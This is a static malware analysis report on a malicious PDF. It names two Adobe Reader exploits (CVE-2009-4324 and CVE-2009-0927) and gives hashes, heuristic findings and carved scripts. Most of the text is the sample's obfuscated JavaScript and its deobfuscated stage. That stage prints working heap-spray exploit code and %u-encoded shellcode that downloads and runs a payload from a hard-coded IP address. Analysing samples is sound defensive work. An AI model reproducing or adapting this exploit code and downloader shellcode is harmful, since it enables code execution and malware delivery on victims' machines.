Malicious PDF — malware analysis report

Static analysis result for SHA-256 d2270ace23a2b080…

MALICIOUS

PDF

13.9 KB First seen: 2012-10-02
MD5: 4fe48687e80c7079251c067330e9fa35 SHA-1: 8a3a7c92c05db0c49688e2df316227bead33e90b SHA-256: d2270ace23a2b08039fb7c1045ce6c4a7d7a4cf06a17e904a43054b695e89d8a
310 Risk Score

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 9

  • media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324
    PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
  • Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT
    One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
  • Generic recovered JavaScript exploit stage high PDF_GENERIC_STAGE_RECOVERY
    Bounded static stage recovery exposed hidden JavaScript through generic transforms such as null-byte collapse, percent decoding, marker replacement, arithmetic character codes, fromCharCode, numeric arrays, numeric-array minus-key decoders, alphabet-index arrays, /Producer half-difference metadata arrays, hex literals, marker-stripped Base64 literals, custom 6-bit XOR table decoders, or repeated-marker hex carriers. This rule is emitted only when the recovered stage contains exploit-like Acrobat JavaScript or shellcode markers.
  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF exploit shellcode contains an embedded download URL high PDF_JS_SHELLCODE_DOWNLOAD_URL
    Decoded PDF exploit shellcode contains a hardcoded http(s) URL — stored as little-endian %uXXXX Unicode escapes, or hex-encoded in a document metadata field (/CreationDate, /Title) and referenced from the decoded script. Reader exploit shellcode embeds the second-stage fetch URL this way and pulls it down with a urlmon/URLDownloadToFile-style download-and-execute (commodity downloader behaviour rather than a specific Acrobat CVE).
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://91.228.133.56/dng290911/db1523498df7965a4ccd8abc43397f6d/d7.php?f=g Referenced by PDF JavaScript
    • http://91.228.133.56/dng290911/db1523498df7965a4ccd8abc43397f6d/d8.php?f=nReferenced by PDF JavaScript

Extracted artifacts 3

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0076_000.js pdf-javascript-stream PDF /JS object 76 at offset 0x38A 13183 bytes
SHA-256: 01ac9340337424f018f1674341dd326d24185107b4813740a8ccc315475a2952
Preview script
First 1,000 lines of the extracted script
a="f4w)<m8c=.}pP1Fn7Sl5:3,rdh;eDIt%{9v+u2bxsgia6N_']AC->V[| oy(&BE@0";
w='';
w+='sl';
w+='i';
w+="c"+a[27];
j='b343tb3g';
j=j[w];
z
=new Array
(34,43,23,56,46,13,57,8,47,31,36,6,21,44,44,31,36,14,50,62,1,31,36,6,19,14,50,31,36,16,19,62,1,31,36,62,33,21,1,31,36,21,21,19,14,31,36,44,1,50,64,31,36,1,64,6,61,31,36,6,61,21,64,31,36,64,50,1,64,31,36,16,64,6,61,31,36,19,44,13,50,31,36,16,44,6,61,31,36,21,21,64,6,31,36,44,44,28,61,31,36,19,62,6,61,31,36,64,21,21,50,31,36,21,21,16,1,31,36,6,13,37,50,31,36,13,19,62,62,31,36,14,14,13,64,31,36,61,6,14,14,31,36,1,64,6,61,31,36,50,21,21,64,31,36,21,33,1,44,31,36,16,19,64,44,31,36,6,16,14,61,31,36,37,1,21,1,31,36,62,1,6,19,31,36,19,13,16,19,31,36,62,61,62,33,31,36,19,13,1,50,31,36,6,61,19,44,31,36,21,50,16,19,31,36,16,1,6,61,31,36,16,6,21,19,31,36,14,19,64,21,31,36,6,61,19,44,31,36,37,64,16,44,31,36,14,19,64,21,31,36,50,33,21,21,31,36,1,13,1,33,31,36,49,28,14,50,31,36,50,19,64,21,31,36,28,61,21,21,31,36,61,62,64,14,31,36,21,6,13,64,31,36,16,1,14,37,31,36,50,13,64,6,31,36,64,28,50,61,31,36,28,49,64,21,31,36,62,61,1,64,31,36,21,61,14,13,31,36,16,19,13,14,31,36,19,62,62,44,31,36,19,62,6,61,31,36,64,21,37,1,31,36,44,44,28,28,31,36,64,50,6,61,31,36,6,28,1,61,31,36,62,50,1,44,31,36,19,1,14,14,31,36,64,50,37,1,31,36,28,6,6,61,31,36,28,28,64,21,31,36,64,1,6,61,31,36,64,21,6,61,31,36,49,61,50,19,31,36,19,33,19,62,31,36,62,61,50,21,31,36,49,28,19,21,31,36,44,6,6,61,31,36,6,64,37,64,31,36,64,50,16,28,31,36,16,1,21,21,31,36,33,44,64,21,31,36,14,21,62,61,31,36,44,6,6,61,31,36,6,61,64,6,31,36,44,49,14,16,31,36,19,33,64,19,31,36,33,6,62,6,31,36,14,14,14,14,31,36,62,37,14,14,31,36,62,6,14,33,31,36,64,64,64,64,31,36,64,64,64,64,31,36,19,64,19,6,31,36,1,64,44,49,31,36,14,14,44,6,31,36,64,64,64,64,31,36,19,64,64,64,31,36,50,64,6,21,31,36,19,64,13,33,31,36,6,61,19,19,31,36,6,61,62,50,31,36,13,64,19,62,31,36,50,21,6,21,31,36,14,14,64,19,31,36,44,6,62,21,31,36,44,62,44,14,31,36,64,64,64,64,31,36,16,19,44,6,31,36,44,50,16,37,31,36,19,1,44,28,31,36,13,44,14,14,31,36,50,1,6,21,31,36,6,61,64,6,31,36,62,6,62,6,31,36,14,14,44,13,31,36,14,14,14,14,31,36,64,37,62,61,31,36,16,37,62,61,31,36,62,50,6,13,31,36,64,13,64,1,31,36,64,64,64,64,31,36,19,50,6,28,31,36,64,50,37,1,31,36,64,1,50,16,31,36,16,37,37,1,31,36,44,16,44,19,31,36,50,16,16,21,31,36,37,1,1,1,31,36,16,44,64,1,31,36,21,21,16,37,31,36,50,16,21,37,31,36,37,1,1,1,31,36,37,64,64,6,31,36,16,21,37,28,31,36,19,21,37,64,31,36,14,6,44,6,31,36,64,64,64,64,31,36,14,14,64,64,31,36,64,50,19,44,31,36,62,6,6,61,31,36,50,33,21,21,31,36,50,16,19,13,31,36,13,28,1,1,31,36,16,16,64,64,31,36,44,37,16,64,31,36,50,16,16,1,31,36,13,28,1,1,31,36,37,62,64,19,31,36,44,50,44,1,31,36,50,44,44,50,31,36,13,28,1,1,31,36,64,64,64,33,31,36,6,49,19,33,31,36,64,1,50,13,31,36,6,6,21,64,31,36,13,28,1,1,31,36,1,13,64,1,31,36,44,49,19,13,31,36,44,49,64,64,31,36,19,21,64,64,31,36,44,49,19,16,31,36,14,14,64,64,31,36,13,1,19,44,31,36,50,64,6,19,31,36,13,44,16,19,31,36,64,64,44,49,31,36,14,14,19,21,31,36,64,1,19,44,31,36,64,64,44,49,31,36,62,61,6,21,31,36,19,21,64,50,31,36,19,44,14,14,31,36,6,21,64,1,31,36,64,50,50,21,31,36,64,37,62,61,31,36,13,21,62,61,31,36,6,64,1,16,31,36,64,64,21,14,31,36,14,49,16,19,31,36,6,64,1,16,31,36,64,64,21,14,31,36,50,1,16,19,31,36,64,64,44,49,31,36,14,62,44,49,31,36,19,44,14,14,31,36,62,6,64,6,31,36,14,62,33,50,31,36,14,14,14,14,31,36,1,62,6,62,31,36,62,50,64,62,31,36,14,62,33,6,31,36,64,62,6,49,31,36,44,14,6,33,31,36,61,28,64,13,31,36,50,49,21,21,31,36,19,61,6,49,31,36,50,44,13,61,31,36,16,33,1,44,31,36,13,49,21,44,31,36,16,64,37,14,31,36,16,1,44,6,31,36,16,64,16,1,31,36,37,14,21,49,31,36,21,33,37,14,31,36,37,62,21,13,31,36,21,37,21,37,31,36,37,62,21,6,31,36,21,21,21,13,31,36,37,62,21,21,31,36,21,44,21,19,31,36,44,1,37,14,31,36,44,16,44,62,31,36,21,33,21,37,31,36,21,33,21,64,31,36,21,13,21,13,31,36,44,1,37,14,31,36,21,13,44,37,31,36,21,37,21,19,31,36,21,1,21,21,31,36,21,6,21,33,31,36,44,44,44,1,31,36,21,33,21,16,31,36,21,19,21,44,31,36,21,1,44,13,31,36,44,21,44,21,31,36,21,6,44,1,31,36,44,37,44,13,31,36,21,1,44,21,31,36,21,21,21,21,31,36,21,16,21,33,31,36,21,44,44,44,31,36,37,14,44,1,31,36,21,16,44,1,31,36,16,64,37,62,31,36,16,64,44,6,31,36,44,44,21,14,31,36,44,16,21,28,31,36,64,64,64,64,47,26,34,43,23,56,46,37,57,8,47,31,36,6,21,44,44,31,36,14,50,62,1,31,36,6,19,14,50,31,36,16,19,62,1,31,36,62,33,21,1,31,36,21,21,19,14,31,36,44,1,50,64,31,36,1,64,6,61,31,36,6,61,21,64,31,36,64,50,1,64,31,36,16,64,6,61,31,36,19,44,13,50,31,36,16,44,6,61,31,36,21,21,64,6,31,36,44,44,28,61,31,36,19,62,6,61,31,36,64,21,21,50,31,36,21,21,16,1,31,36,6,13,37,50,31,36,13,19,62,62,31,36,14,14,13,64,31,36,61,6,14,14,31,36,1,64,6,61,31,36,50,21,21,64,31,36,21,33,1,44,31,36,16,19,64,44,31,36,6,16,14,61,31,36,37,1,21,1,31,36,62,1,6,19,31,36,19,13,16,19,31,36,62,61,62,33,31,36,19,13,1,50,31,36,6,61,19,44,31,36,21,50,16,19,31,36,16,1,6,61,31,36,16,6,21,19,31,36,14,19,64,21,31,36,6,61,19,44,31,36,37,64,16,44,31,36,14,19,64,21,31,36,50,33,21,21,31,36,1,13,1,33,31,36,49,28,14,50,31,36,50,19,64,21,31,36,28,61,21,21,31,36,61,62,64,14,31,36,21,6,13,64,31,36,16,1,14,37,31,36,50,13,64,6,31,36,64,28,50,61,31,36,28,49,64,21,31,36,62,61,1,64,31,36,21,61,14,13,31,36,16,19,13,14,31,36,19,62,62,44,31,36,19,62,6,61,31,36,64,21,37,1,31,36,44,44,28,28,31,36,64,50,6,61,31,36,6,28,1,61,31,36,62,50,1,44,31,36,19,1,14,14,31,36,64,50,37,1,31,36,28,6,6,61,31,36,28,28,64,21,31,36,64,1,6,61,31,36,64,21,6,61,31,36,49,61,50,19,31,36,19,33,19,62,31,36,62,61,50,21,31,36,49,28,19,21,31,36,44,6,6,61,31,36,6,64,37,64,31,36,64,50,16,28,31,36,16,1,21,21,31,36,33,44,64,21,31,36,14,21,62,61,31,36,44,6,6,61,31,36,6,61,64,6,31,36,44,49,14,16,31,36,19,33,64,19,31,36,33,6,62,6,31,36,14,14,14,14,31,36,62,37,14,14,31,36,62,6,14,33,31,36,64,64,64,64,31,36,64,64,64,64,31,36,19,64,19,6,31,36,1,64,44,49,31,36,14,14,44,6,31,36,64,64,64,64,31,36,19,64,64,64,31,36,50,64,6,21,31,36,19,64,13,33,31,36,6,61,19,19,31,36,6,61,62,50,31,36,13,64,19,62,31,36,50,21,6,21,31,36,14,14,64,19,31,36,44,6,62,21,31,36,44,62,44,14,31,36,64,64,64,64,31,36,16,19,44,6,31,36,44,50,16,37,31,36,19,1,44,28,31,36,13,44,14,14,31,36,50,1,6,21,31,36,6,61,64,6,31,36,62,6,62,6,31,36,14,14,44,13,31,36,14,14,14,14,31,36,64,37,62,61,31,36,16,37,62,61,31,36,62,50,6,13,31,36,64,13,64,1,31,36,64,64,64,64,31,36,19,50,6,28,31,36,64,50,37,1,31,36,64,1,50,16,31,36,16,37,37,1,31,36,44,16,44,19,31,36,50,16,16,21,31,36,37,1,1,1,31,36,16,44,64,1,31,36,21,21,16,37,31,36,50,16,21,37,31,36,37,1,1,1,31,36,37,64,64,6,31,36,16,21,37,28,31,36,19,21,37,64,31,36,14,6,44,6,31,36,64,64,64,64,31,36,14,14,64,64,31,36,64,50,19,44,31,36,62,6,6,61,31,36,50,33,21,21,31,36,50,16,19,13,31,36,13,28,1,1,31,36,16,16,64,64,31,36,44,37,16,64,31,36,50,16,16,1,31,36,13,28,1,1,31,36,37,62,64,19,31,36,44,50,44,1,31,36,50,44,44,50,31,36,13,28,1,1,31,36,64,64,64,33,31,36,6,49,19,33,31,36,64,1,50,13,31,36,6,6,21,64,31,36,13,28,1,1,31,36,1,13,64,1,31,36,44,49,19,13,31,36,44,49,64,64,31,36,19,21,64,64,31,36,44,49,19,16,31,36,14,14,64,64,31,36,13,1,19,44,31,36,50,64,6,19,31,36,13,44,16,19,31,36,64,64,44,49,31,36,14,14,19,21,31,36,64,1,19,44,31,36,64,64,44,49,31,36,62,61,6,21,31,36,19,21,64,50,31,36,19,44,14,14,31,36,6,21,64,1,31,36,64,50,50,21,31,36,64,37,62,61,31,36,13,21,62,61,31,36,6,64,1,16,31,36,64,64,21,14,31,36,14,49,16,19,31,36,6,64,1,16,31,36,64,64,21,14,31,36,50,1,16,19,31,36,64,64,44,49,31,36,14,62,44,49,31,36,19,44,14,14,31,36,62,6,64,6,31,36,14,62,33,50,31,36,14,14,14,14,31,36,1,62,6,62,31,36,62,50,64,62,31,36,14,62,33,6,31,36,64,62,6,49,31,36,44,14,6,33,31,36,61,28,64,13,31,36,50,49,21,21,31,36,19,61,6,49,31,36,50,44,13,61,31,36,16,33,1,44,31,36,13,49,21,44,31,36,16,64,37,14,31,36,16,1,44,6,31,36,16,64,16,1,31,36,37,14,21,49,31,36,21,33,37,14,31,36,37,62,21,13,31,36,21,37,21,37,31,36,37,62,21,6,31,36,21,21,21,13,31,36,37,62,21,21,31,36,21,44,21,19,31,36,44,1,37,14,31,36,44,16,44,62,31,36,21,33,21,37,31,36,21,33,21,64,31,36,21,13,21,13,31,36,44,1,37,14,31,36,21,13,44,37,31,36,21,37,21,19,31,36,21,1,21,21,31,36,21,6,21,33,31,36,44,44,44,1,31,36,21,33,21,16,31,36,21,19,21,44,31,36,21,1,44,13,31,36,44,21,44,21,31,36,21,6,44,1,31,36,44,37,44,13,31,36,21,1,44,21,31,36,21,21,21,21,31,36,21,16,21,33,31,36,21,44,44,44,31,36,37,14,44,1,31,36,21,6,44,1,31,36,16,64,37,62,31,36,16,64,44,6,31,36,44,44,21,14,31,36,44,62,21,28,31,36,64,64,64,64,47,26,0,36,15,7,30,42,57,15,56,46,21,57,59,3,32,34,43,23,56,46,1,57,8,43,11,11,9,34,42,27,2,27,23,53,27,23,40,42,57,15,9,30,57,17,30,23,42,15,41,59,3,26,46,1,57,8,46,1,57,9,23,27,11,18,43,7,27,59,47,9,47,22,47,47,3,26,2,25,42,18,27,59,46,1,57,9,18,27,15,41,30,25,4,1,3,32,46,1,57,35,8,47,64,47,26,10,46,1,57,8,11,43,23,40,27,29,15,30,59,46,1,57,22,13,64,3,26,23,27,30,36,23,15,56,46,1,57,26,10,0,36,15,7,30,42,57,15,56,46,19,57,59,3,32,0,36,15,7,30,42,57,15,56,46,44,57,59,3,32,34,43,23,56,46,16,57,8,47,11,63,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,56,20,56,58,58,58,58,13,13,13,47,26,36,30,42,18,9,11,23,42,15,30,24,59,46,16,57,22,15,27,2,56,28,43,30,27,59,3,3,26,10,34,43,23,56,46,6,57,8,13,37,64,64,64,26,46,33,57,8,15,27,2,56,49,23,23,43,58,59,3,26,34,43,23,56,46,13,57,64,8,47,31,36,33,64,33,64,31,36,33,64,33,64,47,26,34,43,23,56,46,13,57,13,8,46,37,57,26,46,13,57,64,8,36,15,27,40,7,43,11,27,59,46,13,57,64,3,26,46,13,57,13,8,36,15,27,40,7,43,11,27,59,46,13,57,13,3,26,2,25,42,18,27,59,46,13,57,64,9,18,27,15,41,30,25,4,8,64,39,6,64,64,64,3,32,46,13,57,64,35,8,46,13,57,64,26,10,46,13,57,64,8,46,13,57,64,9,40,36,38,40,30,23,59,64,22,64,39,6,64,64,64,51,46,13,57,13,9,18,27,15,41,30,25,3,26,56,0,57,23,59,46,13,57,37,8,64,26,46,13,57,37,4,46,6,57,26,46,13,57,37,35,35,3,32,46,33,57,54,46,13,57,37,48,8,46,13,57,64,35,46,13,57,13,26,10,42,0,59,46,6,57,3,32,46,44,57,59,3,26,46,44,57,59,3,26,30,23,58,32,30,25,42,40,9,5,27,24,42,43,9,15,27,2,12,18,43,58,27,23,59,15,36,18,18,3,26,10,7,43,30,7,25,59,27,3,32,10,46,44,57,59,3,26,10,10,0,36,15,7,30,42,57,15,56,46,13,57,21,59,3,32,34,43,23,56,46,13,57,1,8,36,15,27,40,7,43,11,27,59,46,13,57,3,26,46,13,57,19,8,36,15,27,40,7,43,11,27,59,47,31,36,33,64,33,64,31,36,33,64,33,64,31,36,33,64,33,64,31,36,33,64,33,64,31,36,33,64,33,64,31,36,33,64,33,64,31,36,33,64,33,64,31,36,33,64,33,64,31,36,33,64,33,64,31,36,33,64,33,64,31,36,33,64,33,64,31,36,33,64,33,64,31,36,33,64,33,64,31,36,33,64,33,64,31,36,33,64,33,64,31,36,33,64,33,64,31,36,33,64,33,64,31,36,33,64,33,64,31,36,33,64,33,64,31,36,33,64,33,64,31,36,33,64,33,64,31,36,33,64,33,64,31,36,33,64,33,64,31,36,33,64,33,64,31,36,33,64,33,64,31,36,33,64,33,64,31,36,33,64,33,64,31,36,33,64,33,64,31,36,33,64,33,64,31,36,33,64,33,64,31,36,33,64,33,64,31,36,33,64,33,64,31,36,33,64,33,64,31,36,33,64,33,64,31,36,33,64,33,64,31,36,33,64,33,64,31,36,33,64,33,64,31,36,33,64,33,64,31,36,33,64,33,64,31,36,33,64,33,64,31,36,33,64,33,64,31,36,33,64,33,64,31,36,33,64,33,64,31,36,33,64,33,64,31,36,33,64,33,64,31,36,33,64,33,64,31,36,33,64,33,64,31,36,33,64,33,64,31,36,33,64,33,64,31,36,33,64,33,64,31,36,33,64,33,64,31,36,33,64,33,64,31,36,33,64,33,64,31,36,33,64,33,64,31,36,33,64,33,64,31,36,33,64,33,64,31,36,33,64,33,64,31,36,33,64,33,64,31,36,33,64,33,64,31,36,33,64,33,64,31,36,33,64,33,64,31,36,33,64,33,64,31,36,33,64,33,64,31,36,33,64,33,64,31,36,33,64,33,64,31,36,33,64,33,64,31,36,33,64,33,64,31,36,33,64,33,64,31,36,33,64,33,64,31,36,33,64,33,64,31,36,33,64,33,64,31,36,33,64,33,64,31,36,33,64,33,64,31,36,33,64,33,64,31,36,33,64,33,64,31,36,33,64,33,64,31,36,33,64,33,64,31,36,33,64,33,64,31,36,33,64,33,64,31,36,33,64,33,64,47,3,35,46,13,57,1,26,46,13,57,44,8,36,15,27,40,7,43,11,27,59,47,31,36,33,64,33,64,31,36,33,64,33,64,47,3,26,46,13,57,16,8,13,64,26,46,13,57,6,8,46,13,57,16,35,46,13,57,19,9,18,27,15,41,30,25,26,2,25,42,18,27,59,46,13,57,44,9,18,27,15,41,30,25,4,46,13,57,6,3,46,13,57,44,35,8,46,13,57,44,26,46,13,57,33,8,46,13,57,44,9,40,36,38,40,30,23,42,15,41,59,64,22,46,13,57,6,3,26,46,37,57,37,8,46,13,57,44,9,40,36,38,40,30,23,42,15,41,59,64,22,46,13,57,44,9,18,27,15,41,30,25,51,46,13,57,6,3,26,2,25,42,18,27,59,46,37,57,37,9,18,27,15,41,30,25,35,46,13,57,6,4,64,39,1,64,64,64,64,3,46,37,57,37,8,46,37,57,37,35,46,37,57,37,35,46,13,57,33,26,46,37,57,64,8,15,27,2,56,49,23,23,43,58,59,3,26,0,57,23,59,46,37,57,13,8,64,26,46,37,57,13,4,13,6,64,26,46,37,57,13,35,35,3,46,37,57,64,54,46,37,57,13,48,8,46,37,57,37,35,46,13,57,19,26,34,43,23,56,46,37,57,21,8,1,64,13,37,26,34,43,23,56,46,37,57,1,8,49,23,23,43,58,59,46,37,57,21,3,26,0,57,23,59,46,37,57,13,8,64,26,46,37,57,13,4,46,37,57,21,26,46,37,57,13,35,35,3,32,46,37,57,1,54,46,37,57,13,48,8,36,15,27,40,7,43,11,27,59,47,31,64,43,31,64,43,31,64,43,31,64,43,47,3,26,10,50,57,18,18,43,38,9,41,27,30,29,7,57,15,59,46,37,57,1,35,47,46,45,9,38,36,15,24,18,27,47,3,26,10,34,43,23,56,46,1,57,8,46,21,57,59,3,26,42,0,59,59,59,46,1,57,52,6,33,19,64,3,60,60,59,46,1,57,4,33,64,19,64,3,3,55,55,59,59,46,1,57,52,8,6,64,64,64,3,60,60,59,46,1,57,4,8,6,13,64,37,3,3,3,32,46,13,57,21,59,3,26,10,27,18,40,27,56,42,0,59,59,46,1,57,52,8,33,13,64,64,3,55,55,59,46,1,57,4,8,33,37,64,64,3,55,55,59,46,1,57,52,8,6,13,64,21,3,55,55,59,46,1,57,4,8,6,13,64,16,3,3,32,46,19,57,59,3,26,10);
s='';
b
=
'al';
b2
=a[27]
+
a[34]+b;for
(i=0;i<z.length;i++)
{s+=a[z[i]]}
e=(j());
e=e[b2];
e(s);
generic_stage_recovery_000.js deobfuscated-js generic stage recovery alphabet-index-array from JavaScript object 76 at offset 0x38A 4469 bytes
SHA-256: 3635ce3d4a495b9dcc1ba7c03f6ba31653c2be2d262c647cbfb0d59269b27002
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 6 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
var _1o='%u8366%uFCE4%u85FC%u75E4%uE934%u335F%u64C0%u408B%u8B30%u0C40%u708B%u561C%u768B%u3308%u66DB%u5E8B%u033C%u3374%u812C%u15EE%uFF10%uB8FF%u408B%uC330%u3946%u7506%u87FB%u2434%uE485%u5175%uEBE9%u514C%u8B56%u3C75%u748B%u7835%uF503%u8B56%u2076%uF503%uC933%u4149%uADFC%uC503%uDB33%uBE0F%u3810%u74F2%uC108%u0DCB%uDA03%uEB40%u3BF1%u751F%u5EE6%u5E8B%u0324%u66DD%u0C8B%u8D4B%uEC46%u54FF%u0C24%uD88B%uDD03%u048B%u038B%uABC5%u595E%uEBC3%uAD53%u688B%u8020%u0C7D%u7433%u9603%uF3EB%u688B%u8B08%u6AF7%u5905%u98E8%uFFFF%uE2FF%uE8F9%u0000%u0000%u5058%u406A%uFF68%u0000%u5000%uC083%u5019%u8B55%u8BEC%u105E%uC383%uFF05%u68E3%u6E6F%u0000%u7568%u6C72%u546D%u16FF%uC483%u8B08%uE8E8%uFF61%uFFFF%u02EB%u72EB%uEC81%u0104%u0000%u5C8D%u0C24%u04C7%u7224%u6765%uC773%u2444%u7604%u3372%uC732%u2444%u2008%u732D%u5320%uF868%u0000%uFF00%u0C56%uE88B%uC933%uC751%u1D44%u7700%u6270%uC774%u1D44%u2E05%u6C64%uC66C%u1D44%u0009%u8A59%u04C1%u8830%u1D44%u4104%u6A51%u6A00%u5300%u6A57%uFF00%u1456%uC085%u1675%u006A%uFF53%u0456%u006A%uEB83%u530C%u56FF%u8304%u0CC3%u02EB%u13EB%u8047%u003F%uFA75%u8047%u003F%uC475%u006A%uFE6A%u56FF%uE808%uFE9C%uFFFF%u4E8E%uEC0E%uFE98%u0E8A%u6F89%uBD01%uCA33%u5B8A%uC61B%u7946%u1A36%u702F%u7468%u7074%u2F3A%u392F%u2E31%u3232%u2E38%u3331%u2E33%u3635%u642F%u676E%u3932%u3930%u3131%u642F%u3162%u3235%u3433%u3839%u6664%u3937%u3536%u3461%u6363%u3864%u6261%u3463%u3333%u3739%u3666%u2F64%u3764%u702E%u7068%u663F%u673D%u0000';var _2o='%u8366%uFCE4%u85FC%u75E4%uE934%u335F%u64C0%u408B%u8B30%u0C40%u708B%u561C%u768B%u3308%u66DB%u5E8B%u033C%u3374%u812C%u15EE%uFF10%uB8FF%u408B%uC330%u3946%u7506%u87FB%u2434%uE485%u5175%uEBE9%u514C%u8B56%u3C75%u748B%u7835%uF503%u8B56%u2076%uF503%uC933%u4149%uADFC%uC503%uDB33%uBE0F%u3810%u74F2%uC108%u0DCB%uDA03%uEB40%u3BF1%u751F%u5EE6%u5E8B%u0324%u66DD%u0C8B%u8D4B%uEC46%u54FF%u0C24%uD88B%uDD03%u048B%u038B%uABC5%u595E%uEBC3%uAD53%u688B%u8020%u0C7D%u7433%u9603%uF3EB%u688B%u8B08%u6AF7%u5905%u98E8%uFFFF%uE2FF%uE8F9%u0000%u0000%u5058%u406A%uFF68%u0000%u5000%uC083%u5019%u8B55%u8BEC%u105E%uC383%uFF05%u68E3%u6E6F%u0000%u7568%u6C72%u546D%u16FF%uC483%u8B08%uE8E8%uFF61%uFFFF%u02EB%u72EB%uEC81%u0104%u0000%u5C8D%u0C24%u04C7%u7224%u6765%uC773%u2444%u7604%u3372%uC732%u2444%u2008%u732D%u5320%uF868%u0000%uFF00%u0C56%uE88B%uC933%uC751%u1D44%u7700%u6270%uC774%u1D44%u2E05%u6C64%uC66C%u1D44%u0009%u8A59%u04C1%u8830%u1D44%u4104%u6A51%u6A00%u5300%u6A57%uFF00%u1456%uC085%u1675%u006A%uFF53%u0456%u006A%uEB83%u530C%u56FF%u8304%u0CC3%u02EB%u13EB%u8047%u003F%uFA75%u8047%u003F%uC475%u006A%uFE6A%u56FF%uE808%uFE9C%uFFFF%u4E8E%uEC0E%uFE98%u0E8A%u6F89%uBD01%uCA33%u5B8A%uC61B%u7946%u1A36%u702F%u7468%u7074%u2F3A%u392F%u2E31%u3232%u2E38%u3331%u2E33%u3635%u642F%u676E%u3932%u3930%u3131%u642F%u3162%u3235%u3433%u3839%u6664%u3937%u3536%u3461%u6363%u3864%u6261%u3463%u3333%u3739%u3666%u2F64%u3864%u702E%u7068%u663F%u6E3D%u0000';function _3o(){var _4o=app.viewerVersion.toString();_4o=_4o.replace('.','');while(_4o.length<4){_4o+='0';}_4o=parseInt(_4o,10);return _4o;}function _5o(){function _6o(){var _7o='p@111111111111111111111111 : yyyy111';util.printd(_7o,new Date());}var _8o=12000;_9o=new Array();var _1o0='%u9090%u9090';var _1o1=_2o;_1o0=unescape(_1o0);_1o1=unescape(_1o1);while(_1o0.length<=0x8000){_1o0+=_1o0;}_1o0=_1o0.substr(0,0x8000-_1o1.length); for(_1o2=0;_1o2<_8o;_1o2++){_9o[_1o2]=_1o0+_1o1;}if(_8o){_6o();_6o();try{this.media.newPlayer(null);}catch(e){}_6o();}}function _1o3(){var _1o4=unescape(_1o);_1o5=unescape('%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090')+_1o4;_1o6=unescape('%u9090%u9090');_1o7=10;_1o8=_1o7+_1o5.length;while(_1o6.length<_1o8)_1o6+=_1o6;_1o9=_1o6.substring(0,_1o8);_2o2=_1o6.substring(0,_1o6.length-_1o8);while(_2o2.length+_1o8<0x40000)_2o2=_2o2+_2o2+_1o9;_2o0=new Array();for(_2o1=0;_2o1<180;_2o1++)_2o0[_2o1]=_2o2+_1o5;var _2o3=4012;var _2o4=Array(_2o3);for(_2o1=0;_2o1<_2o3;_2o1++){_2o4[_2o1]=unescape('%0a%0a%0a%0a');}Collab.getIcon(_2o4+'_N.bundle');}var _4o=_3o();if(((_4o>8950)&&(_4o<9050))||((_4o>=8000)&&(_4o<=8102))){_1o3();}else if((_4o>=9100)||(_4o<=9200)||(_4o>=8103)||(_4o<=8107)){_5o();}
generic_stage_recovery_001.js deobfuscated-js generic stage recovery percent-decode from JavaScript object 76 at offset 0x38A 4461 bytes
SHA-256: eaf167ee186b02b8eb5dfd37cf0efb79c48d4a98e0b69649137bbdd4f0132b18
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 6 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
